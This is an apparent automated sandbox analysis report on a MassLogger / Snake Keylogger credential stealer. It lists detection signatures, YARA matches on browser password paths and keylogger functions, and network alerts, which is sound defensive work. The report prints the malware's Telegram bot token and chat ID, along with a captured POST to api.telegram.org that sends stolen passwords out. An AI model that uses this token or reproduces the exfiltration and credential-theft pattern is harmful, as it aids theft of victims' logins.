Edit tour

Windows Analysis Report
MzqLQjCwrw.exe

Overview

General Information

Sample name:	MzqLQjCwrw.exe renamed because original name is a hash value
Original sample name:	0b7718c1c06ec823438b84c44b1d0ccedfcd24f73aad0b83e63d7e20924796ac.exe
Analysis ID:	1587843
MD5:	5525e92284b32082e959d9d4f58f44d6
SHA1:	e28870b31d2fc0b1c1ced9bd4102b9c0ba2a13d7
SHA256:	0b7718c1c06ec823438b84c44b1d0ccedfcd24f73aad0b83e63d7e20924796ac
Tags:	exeMassLoggeruser-adrian__luca
Infos:

Detection

MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

MzqLQjCwrw.exe (PID: 5464 cmdline: "C:\Users\user\Desktop\MzqLQjCwrw.exe" MD5: 5525E92284B32082E959D9D4F58F44D6)

RegSvcs.exe (PID: 6368 cmdline: "C:\Users\user\Desktop\MzqLQjCwrw.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg", "Telegram Chatid": "5839829477"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xef73:$a1: get_encryptedPassword 0xf29b:$a2: get_encryptedUsername 0xed0e:$a3: get_timePasswordChanged 0xee2f:$a4: get_passwordField 0xef89:$a5: set_encryptedPassword 0x108e5:$a7: get_logins 0x10596:$a8: GetOutlookPasswords 0x10388:$a9: StartKeylogger 0x10835:$a10: KeyLoggerEventArgs 0x103e5:$a11: KeyLoggerEventArgsEventHandler
00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: MzqLQjCwrw.exe PID: 5464	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: MzqLQjCwrw.exe PID: 5464	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MzqLQjCwrw.exe PID: 5464	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: MzqLQjCwrw.exe PID: 5464	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x17081a:$a1: get_encryptedPassword 0x170b33:$a2: get_encryptedUsername 0x1705c9:$a3: get_timePasswordChanged 0x1706ea:$a4: get_passwordField 0x170830:$a5: set_encryptedPassword 0x172133:$a7: get_logins 0x171de4:$a8: GetOutlookPasswords 0x171bd6:$a9: StartKeylogger 0x172083:$a10: KeyLoggerEventArgs 0x171c33:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: RegSvcs.exe PID: 6368	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 6368	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 6368	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 6368	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x39047:$a1: get_encryptedPassword 0x39360:$a2: get_encryptedUsername 0x38df6:$a3: get_timePasswordChanged 0x38f17:$a4: get_passwordField 0x3905d:$a5: set_encryptedPassword 0x3a960:$a7: get_logins 0x3a611:$a8: GetOutlookPasswords 0x3a403:$a9: StartKeylogger 0x3a8b0:$a10: KeyLoggerEventArgs 0x3a460:$a11: KeyLoggerEventArgsEventHandler
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
3.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
3.2.RegSvcs.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
3.2.RegSvcs.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
2.2.MzqLQjCwrw.exe.1e80000.1.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
2.2.MzqLQjCwrw.exe.1e80000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.MzqLQjCwrw.exe.1e80000.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.MzqLQjCwrw.exe.1e80000.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
2.2.MzqLQjCwrw.exe.1e80000.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
2.2.MzqLQjCwrw.exe.1e80000.1.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
2.2.MzqLQjCwrw.exe.1e80000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.MzqLQjCwrw.exe.1e80000.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.MzqLQjCwrw.exe.1e80000.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd373:$a1: get_encryptedPassword 0xd69b:$a2: get_encryptedUsername 0xd10e:$a3: get_timePasswordChanged 0xd22f:$a4: get_passwordField 0xd389:$a5: set_encryptedPassword 0xece5:$a7: get_logins 0xe996:$a8: GetOutlookPasswords 0xe788:$a9: StartKeylogger 0xec35:$a10: KeyLoggerEventArgs 0xe7e5:$a11: KeyLoggerEventArgsEventHandler
2.2.MzqLQjCwrw.exe.1e80000.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x12325:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11823:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b31:$a4: \Orbitum\User Data\Default\Login Data 0x12929:$a5: \Kometa\User Data\Default\Login Data
Click to see the 10 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:30:25.327463+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.6	49725	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:30:15.475101+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49722	158.101.44.242	80	TCP
2025-01-10T18:30:24.272258+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49722	158.101.44.242	80	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:30:25.023540+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	49725	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839829477&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31728dc874c9Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: RegSvcs.exe, 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: RegSvcs.exe, 00000003.00000002.3684930754.00000000030A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: RegSvcs.exe, 00000003.00000002.3684930754.00000000030A0000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3684930754.0000000003094000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: RegSvcs.exe, 00000003.00000002.3684930754.0000000003021000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: MzqLQjCwrw.exe, 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: RegSvcs.exe, 00000003.00000002.3684930754.00000000030C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: RegSvcs.exe, 00000003.00000002.3684930754.0000000003021000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: RegSvcs.exe, 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: MzqLQjCwrw.exe, 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: RegSvcs.exe, 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839
Source: RegSvcs.exe, 00000003.00000002.3684930754.00000000030A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: MzqLQjCwrw.exe, 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3684930754.00000000030A0000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: RegSvcs.exe, 00000003.00000002.3684930754.00000000030A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189

Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49725 version: TLS 1.2

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_00264164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

2_2_00264164

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_00264164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

2_2_00264164

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_00263F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

2_2_00263F66

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_0025001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

2_2_0025001C

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_0027CABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

2_2_0027CABC

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.MzqLQjCwrw.exe.1e80000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.MzqLQjCwrw.exe.1e80000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.MzqLQjCwrw.exe.1e80000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.MzqLQjCwrw.exe.1e80000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: Process Memory Space: MzqLQjCwrw.exe PID: 5464, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 6368, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: This is a third-party compiled AutoIt script.	2_2_001F3B3A
Source: MzqLQjCwrw.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: MzqLQjCwrw.exe, 00000002.00000000.2426917276.00000000002A4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_02b3b48b-d
Source: MzqLQjCwrw.exe, 00000002.00000000.2426917276.00000000002A4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_d9f5eeb7-1
Source: MzqLQjCwrw.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_dc2d7a01-3
Source: MzqLQjCwrw.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_f6da5375-c

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_0025A1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

2_2_0025A1EF

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_00248310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

2_2_00248310

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_002551BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

2_2_002551BD

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_001FE6A0	2_2_001FE6A0
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_0021D975	2_2_0021D975
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_002121C5	2_2_002121C5
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_002262D2	2_2_002262D2
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_002703DA	2_2_002703DA
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_0022242E	2_2_0022242E
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_002125FA	2_2_002125FA
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_0024E616	2_2_0024E616
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_002066E1	2_2_002066E1
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_0022878F	2_2_0022878F
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00208808	2_2_00208808
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00226844	2_2_00226844
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00270857	2_2_00270857
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00258889	2_2_00258889
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_0021CB21	2_2_0021CB21
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00226DB6	2_2_00226DB6
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00206F9E	2_2_00206F9E
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00203030	2_2_00203030
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00213187	2_2_00213187
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_0021F1D9	2_2_0021F1D9
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_001F1287	2_2_001F1287
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00211484	2_2_00211484
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00205520	2_2_00205520
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00217696	2_2_00217696
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00205760	2_2_00205760
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00211978	2_2_00211978
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00229AB5	2_2_00229AB5
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_001FFCE0	2_2_001FFCE0
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_0021BDA6	2_2_0021BDA6
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00211D90	2_2_00211D90
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00277DDB	2_2_00277DDB
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_001FDF00	2_2_001FDF00
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00203FE0	2_2_00203FE0
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_010B3620	2_2_010B3620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_02EA4328	3_2_02EA4328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_02EA60E0	3_2_02EA60E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_02EA8DA0	3_2_02EA8DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_02EA5968	3_2_02EA5968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_02EA2DD1	3_2_02EA2DD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06BBC7B0	3_2_06BBC7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06BB4340	3_2_06BB4340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06BB5E18	3_2_06BB5E18

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: String function: 00218900 appears 42 times
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: String function: 001F7DE1 appears 35 times
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: String function: 00210AE3 appears 70 times

Source: MzqLQjCwrw.exe, 00000002.00000003.2437389735.0000000003C8D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs MzqLQjCwrw.exe
Source: MzqLQjCwrw.exe, 00000002.00000003.2447008303.0000000003793000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs MzqLQjCwrw.exe
Source: MzqLQjCwrw.exe, 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs MzqLQjCwrw.exe

Source: MzqLQjCwrw.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
